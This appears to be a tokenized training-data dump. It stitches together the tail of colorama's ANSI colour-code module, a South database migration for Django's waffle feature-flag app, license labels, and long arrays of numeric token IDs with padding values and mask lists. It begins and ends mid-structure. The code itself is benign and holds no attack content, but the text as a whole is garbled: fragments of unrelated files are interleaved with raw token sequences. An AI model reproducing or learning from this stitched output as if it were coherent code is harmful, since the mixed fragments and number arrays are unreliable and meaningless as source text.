YELLOW = 43 BLUE = 44 MAGENTA = 45 CYAN = 46 WHITE = 47 RESET = 49 # These are fairly well supported, but not part of the standard. LIGHTBLACK_EX = 100 LIGHTRED_EX = 101 LIGHTGREEN_EX = 102 LIGHTYELLOW_EX = 103 LIGHTBLUE_EX = 104 LIGHTMAGENTA_EX = 105 LIGHTCYAN_EX = 106 LIGHTWHITE_EX = 107 class AnsiStyle(AnsiCodes): BRIGHT = 1 DIM = 2 NORMAL = 22 RESET_ALL = 0 Fore = AnsiFore() Back = AnsiBack() Style = AnsiStyle() Cursor = AnsiCursor()
gpl-2.0
[ 3, 1898, 1603, 265, 1619, 290, 869, 580, 15515, 6171, 14, 6289, 650, 13, 16009, 4190, 12, 1937, 5113, 570, 14, 199, 2344, 199, 2765, 859, 12821, 25600, 4528, 9479, 370, 16116, 9229, 370, 5537, 2551, 14, 199, 9295, 26, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 879, 2684, 63, 3765, 63, 600, 199, 2344, 199, 199, 35, 2684, 275, 1557, 8762, 459, 199, 31799, 275, 1557, 8762, 6616, 199, 34, 2901, 275, 1557, 8255, 7, 421, 199, 318, 1233, 63, 475, 63, 6574, 8, 600, 304, 272, 372, 445, 2684, 435, 620, 8, 600, 9, 435, 283, 77, 7, 199, 199, 318, 663, 63, 1213, 8, 1213, 304, 272, 372, 4403, 35, 435, 283, 18, 8942, 435, 2538, 435, 699, 2901, 199, 199, 318, 5436, 63, 5410, 8, 632, 29, 18, 304, 272, 372, 445, 2684, 435, 620, 8, 632, 9, 435, 283, 42, 7, 199, 199, 318, 5436, 63, 604, 8, 632, 29, 18, 304, 272, 372, 445, 2684, 435, 620, 8, 632, 9, 435, 283, 43, 7, 421, 199, 533, 31656, 14060, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 327, 314, 9180, 20771, 1021, 3004, 1314, 787, 5579, 14, 267, 327, 738, 678, 26621, 781, 5627, 1256, 3004, 12, 1314, 787, 314, 2011, 267, 327, 465, 314, 1021, 3004, 1325, 8072, 543, 314, 25600, 4772, 3414, 267, 367, 536, 315, 2935, 8, 277, 304, 288, 340, 440, 536, 14, 2460, 30018, 355, 574, 275, 2519, 8, 277, 12, 536, 9, 355, 5371, 8, 277, 12, 536, 12, 1233, 63, 475, 63, 6574, 8, 585, 430, 421, 199, 533, 31656, 8993, 8, 785, 304, 272, 347, 7215, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 33, 7, 272, 347, 10163, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 34, 7, 272, 347, 2381, 2982, 36, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 35, 7, 272, 347, 22658, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 36, 7, 272, 347, 510, 3100, 8, 277, 12, 671, 29, 17, 12, 612, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 89, 9, 435, 20054, 435, 620, 8, 88, 9, 435, 283, 40, 7, 421, 199, 533, 31656, 13099, 8, 2493, 338, 14060, 304, 272, 26774, 3698, 275, 4233, 272, 23443, 3777, 275, 7105, 272, 598, 14824, 3698, 275, 4337, 272, 1488, 23575, 3515, 275, 9404, 272, 31408, 3322, 275, 8177, 272, 603, 14565, 33, 260, 275, 8685, 272, 445, 57, 879, 3322, 275, 8780, 272, 20483, 3698, 275, 6877, 272, 12565, 775, 3698, 275, 10551, 339, 327, 5723, 787, 28092, 590, 5521, 3748, 12, 1325, 440, 1777, 402, 314, 4465, 14, 272, 9024, 23113, 63, 1438, 257, 275, 9137, 272, 9024, 7387, 63, 1438, 258, 275, 21358, 272, 9024, 22501, 63, 1438, 257, 275, 20140, 272, 491, 13454, 2099, 23575, 63, 1438, 221, 275, 18969, 272, 9024, 23536, 63, 1438, 259, 275, 18729, 272, 9024, 45, 14565, 33, 63, 1438, 275, 16102, 272, 9024, 15068, 879, 63, 1438, 259, 275, 15580, 272, 9024, 18817, 63, 1438, 257, 275, 15997, 421, 199, 533, 31656, 4540, 8, 2493, 338, 14060, 304, 272, 26774, 3698, 275, 6335, 272, 23443, 3777, 275, 13385, 272, 598, 14824, 3698, 275, 5685, 272, 1488, 23575, 3515, 275, 11851, 272, 31408, 3322, 275, 10868, 272, 603, 14565, 33, 260, 275, 10416, 272, 445, 57, 879, 3322, 275, 12426, 272, 20483, 3698, 275, 10954, 272, 12565, 775, 3698, 275, 12260, 339, 327, 5723, 787, 28092, 590, 5521, 3748, 12, 1325, 440, 1777, 402, 314, 4465, 14, 272, 9024, 23113, 63, 1438, 257, 275, 2948, 272, 9024, 7387, 63, 1438, 258, 275, 14313, 272, 9024, 22501, 63, 1438, 257, 275, 12996, 272, 491, 13454, 2099, 23575, 63, 1438, 221, 275, 22363, 272, 9024, 23536, 63, 1438, 259, 275, 21083, 272, 9024, 45, 14565, 33, 63, 1438, 275, 20462, 272, 9024, 15068, 879, 63, 1438, 259, 275, 23746, 272, 9024, 18817, 63, 1438, 257, 275, 23543, 421, 199, 533, 31656, 6609, 8, 2493, 338, 14060, 304, 272, 11713, 2830, 259, 275, 413, 272, 577, 1469, 755, 275, 499, 272, 653, 9623, 259, 275, 6928, 272, 12565, 775, 63, 1761, 275, 378, 199, 199, 13099, 257, 275, 31656, 13099, 342, 199, 4540, 257, 275, 31656, 4540, 342, 199, 6609, 221, 275, 31656, 6609, 342, 199, 8993, 275, 31656, 8993, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 1603, 265, 1619, 290, 869, 580, 15515, 6171, 14, 6289, 650, 13, 16009, 4190, 12, 1937, 5113, 570, 14, 199, 2344, 199, 2765, 859, 12821, 25600, 4528, 9479, 370, 16116, 9229, 370, 5537, 2551, 14, 199, 9295, 26, 1455, 921, 287, 14, 13961, 14, 1308, 15, 6797, 15, 879, 2684, 63, 3765, 63, 600, 199, 2344, 199, 199, 35, 2684, 275, 1557, 8762, 459, 199, 31799, 275, 1557, 8762, 6616, 199, 34, 2901, 275, 1557, 8255, 7, 421, 199, 318, 1233, 63, 475, 63, 6574, 8, 600, 304, 272, 372, 445, 2684, 435, 620, 8, 600, 9, 435, 283, 77, 7, 199, 199, 318, 663, 63, 1213, 8, 1213, 304, 272, 372, 4403, 35, 435, 283, 18, 8942, 435, 2538, 435, 699, 2901, 199, 199, 318, 5436, 63, 5410, 8, 632, 29, 18, 304, 272, 372, 445, 2684, 435, 620, 8, 632, 9, 435, 283, 42, 7, 199, 199, 318, 5436, 63, 604, 8, 632, 29, 18, 304, 272, 372, 445, 2684, 435, 620, 8, 632, 9, 435, 283, 43, 7, 421, 199, 533, 31656, 14060, 8, 785, 304, 272, 347, 636, 826, 721, 277, 304, 267, 327, 314, 9180, 20771, 1021, 3004, 1314, 787, 5579, 14, 267, 327, 738, 678, 26621, 781, 5627, 1256, 3004, 12, 1314, 787, 314, 2011, 267, 327, 465, 314, 1021, 3004, 1325, 8072, 543, 314, 25600, 4772, 3414, 267, 367, 536, 315, 2935, 8, 277, 304, 288, 340, 440, 536, 14, 2460, 30018, 355, 574, 275, 2519, 8, 277, 12, 536, 9, 355, 5371, 8, 277, 12, 536, 12, 1233, 63, 475, 63, 6574, 8, 585, 430, 421, 199, 533, 31656, 8993, 8, 785, 304, 272, 347, 7215, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 33, 7, 272, 347, 10163, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 34, 7, 272, 347, 2381, 2982, 36, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 35, 7, 272, 347, 22658, 8, 277, 12, 302, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 78, 9, 435, 283, 36, 7, 272, 347, 510, 3100, 8, 277, 12, 671, 29, 17, 12, 612, 29, 17, 304, 267, 372, 445, 2684, 435, 620, 8, 89, 9, 435, 20054, 435, 620, 8, 88, 9, 435, 283, 40, 7, 421, 199, 533, 31656, 13099, 8, 2493, 338, 14060, 304, 272, 26774, 3698, 275, 4233, 272, 23443, 3777, 275, 7105, 272, 598, 14824, 3698, 275, 4337, 272, 1488, 23575, 3515, 275, 9404, 272, 31408, 3322, 275, 8177, 272, 603, 14565, 33, 260, 275, 8685, 272, 445, 57, 879, 3322, 275, 8780, 272, 20483, 3698, 275, 6877, 272, 12565, 775, 3698, 275, 10551, 339, 327, 5723, 787, 28092, 590, 5521, 3748, 12, 1325, 440, 1777, 402, 314, 4465, 14, 272, 9024, 23113, 63, 1438, 257, 275, 9137, 272, 9024, 7387, 63, 1438, 258, 275, 21358, 272, 9024, 22501, 63, 1438, 257, 275, 20140, 272, 491, 13454, 2099, 23575, 63, 1438, 221, 275, 18969, 272, 9024, 23536, 63, 1438, 259, 275, 18729, 272, 9024, 45, 14565, 33, 63, 1438, 275, 16102, 272, 9024, 15068, 879, 63, 1438, 259, 275, 15580, 272, 9024, 18817, 63, 1438, 257, 275, 15997, 421, 199, 533, 31656, 4540, 8, 2493, 338, 14060, 304, 272, 26774, 3698, 275, 6335, 272, 23443, 3777, 275, 13385, 272, 598, 14824, 3698, 275, 5685, 272, 1488, 23575, 3515, 275, 11851, 272, 31408, 3322, 275, 10868, 272, 603, 14565, 33, 260, 275, 10416, 272, 445, 57, 879, 3322, 275, 12426, 272, 20483, 3698, 275, 10954, 272, 12565, 775, 3698, 275, 12260, 339, 327, 5723, 787, 28092, 590, 5521, 3748, 12, 1325, 440, 1777, 402, 314, 4465, 14, 272, 9024, 23113, 63, 1438, 257, 275, 2948, 272, 9024, 7387, 63, 1438, 258, 275, 14313, 272, 9024, 22501, 63, 1438, 257, 275, 12996, 272, 491, 13454, 2099, 23575, 63, 1438, 221, 275, 22363, 272, 9024, 23536, 63, 1438, 259, 275, 21083, 272, 9024, 45, 14565, 33, 63, 1438, 275, 20462, 272, 9024, 15068, 879, 63, 1438, 259, 275, 23746, 272, 9024, 18817, 63, 1438, 257, 275, 23543, 421, 199, 533, 31656, 6609, 8, 2493, 338, 14060, 304, 272, 11713, 2830, 259, 275, 413, 272, 577, 1469, 755, 275, 499, 272, 653, 9623, 259, 275, 6928, 272, 12565, 775, 63, 1761, 275, 378, 199, 199, 13099, 257, 275, 31656, 13099, 342, 199, 4540, 257, 275, 31656, 4540, 342, 199, 6609, 221, 275, 31656, 6609, 342, 199, 8993, 275, 31656, 8993, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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to__chg_field_flag_created__chg_field_flag_modified__chg_field_switc.py
22
8209
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'Flag.created' db.alter_column('waffle_flag', 'created', self.gf('django.db.models.fields.DateTimeField')()) # Changing field 'Flag.modified' db.alter_column('waffle_flag', 'modified', self.gf('django.db.models.fields.DateTimeField')()) # Changing field 'Switch.created' db.alter_column('waffle_switch', 'created', self.gf('django.db.models.fields.DateTimeField')()) # Changing field 'Switch.modified' db.alter_column('waffle_switch', 'modified', self.gf('django.db.models.fields.DateTimeField')()) # Changing field 'Sample.created' db.alter_column('waffle_sample', 'created', self.gf('django.db.models.fields.DateTimeField')()) # Changing field 'Sample.modified' db.alter_column('waffle_sample', 'modified', self.gf('django.db.models.fields.DateTimeField')()) def backwards(self, orm): # Changing field 'Flag.created' db.alter_column('waffle_flag', 'created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True)) # Changing field 'Flag.modified' db.alter_column('waffle_flag', 'modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True)) # Changing field 'Switch.created' db.alter_column('waffle_switch', 'created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True)) # Changing field 'Switch.modified' db.alter_column('waffle_switch', 'modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True)) # Changing field 'Sample.created' db.alter_column('waffle_sample', 'created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True)) # Changing field 'Sample.modified' db.alter_column('waffle_sample', 'modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True)) models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'waffle.flag': { 'Meta': {'object_name': 'Flag'}, 'authenticated': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}), 'everyone': ('django.db.models.fields.NullBooleanField', [], {'null': 'True', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'percent': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '3', 'decimal_places': '1', 'blank': 'True'}), 'rollout': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'superusers': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'testing': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'users': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}) }, 'waffle.sample': { 'Meta': {'object_name': 'Sample'}, 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'percent': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '1'}) }, 'waffle.switch': { 'Meta': {'object_name': 'Switch'}, 'active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}) } } complete_apps = ['waffle']
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 398, 327, 27854, 901, 283, 5318, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 5318, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 10167, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 10167, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 8176, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 8176, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 339, 347, 8552, 8, 277, 12, 9813, 304, 398, 327, 27854, 901, 283, 5318, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 5318, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 398, 327, 27854, 901, 283, 10167, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 10167, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 398, 327, 27854, 901, 283, 8176, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 8176, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 339, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 398, 327, 27854, 901, 283, 5318, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 5318, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 10167, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 10167, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 901, 283, 8176, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 398, 327, 27854, 